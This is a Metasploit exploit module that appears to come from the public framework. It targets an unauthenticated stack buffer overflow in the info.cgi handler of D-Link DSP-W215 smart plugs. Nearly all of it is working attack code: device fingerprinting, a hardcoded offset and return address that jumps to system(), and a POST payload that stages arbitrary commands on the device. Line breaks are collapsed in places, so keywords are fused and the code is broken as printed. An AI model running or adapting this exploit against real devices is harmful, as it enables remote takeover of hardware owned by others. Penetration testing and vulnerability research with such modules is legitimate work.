### This module requires Metasploit: http//metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
require 'msf/core'classMetasploit3< Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
definitialize(info ={})super(update_info(info,'Name'=>'D-Link info.cgi POST Request Buffer Overflow','Description'=>%q{
This module exploits an anonymous remote code execution vulnerability on different D-Link
devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
environment.},'Author'=>['Craig Heffner',# vulnerability discovery and initial PoC'Michael Messner <devnull[at]s3cur1ty.de>',# Metasploit module],'License'=> MSF_LICENSE,'Platform'=>'linux','Arch'=> ARCH_MIPSBE,'References'=>[['OSVDB','108249'],['URL','http://www.devttys0.com/2014/05/hacking-the-dspw215-again/']# blog post from Craig including PoC],'Targets'=>[## Automatic targeting via fingerprinting#['Automatic Targeting',{'auto'=> true }],['D-Link DSP-W215 - v1.02',{'Offset'=>477472,'Ret'=>0x405cec# jump to system - my_cgi.cgi}]],'DisclosureDate'=>'May 22 2014','DefaultTarget'=>0))
deregister_options('CMDSTAGER::DECODER','CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({'uri'=>"/common/info.cgi",'method'=>'GET'})if res &&[200,301,302].include?(res.code)if res.body =~/DSP-W215A1/&& res.body =~/1.02/@my_target= targets[1]if target['auto']return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the vulnerable URL...")@my_target= target
check_code = check
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget,"#{peer} - Failed to access the vulnerable URL")
end
if @my_target.nil? || @my_target['auto']
fail_with(Failure::NoTarget,"#{peer} - Failed to auto detect, try setting a manual target...")
end
print_status("#{peer} - Exploiting #{@my_target.name}...")
execute_cmdstager(:flavor=>:echo,:linemax =>185)
end
defprepare_shellcode(cmd)
buf = rand_text_alpha_upper(@my_target['Offset'])# Stack filler
buf <<[@my_target.ret].pack("N")# Overwrite $ra -> jump to system# la $t9, system# la $s1, 0x440000# jalr $t9 ; system# addiu $a0, $sp, 0x28 # our command
buf << rand_text_alpha_upper(40)# Command to execute must be at $sp+0x28
buf << cmd# Command to execute
buf <<"\x00"# NULL terminate the command
end
defexecute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({'method'=>'POST','uri'=>"/common/info.cgi",'encode_params'=> false,'vars_post'=>{'storage_path'=> shellcode,}},5)return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable,"#{peer} - Failed to connect to the web server")
end
end
end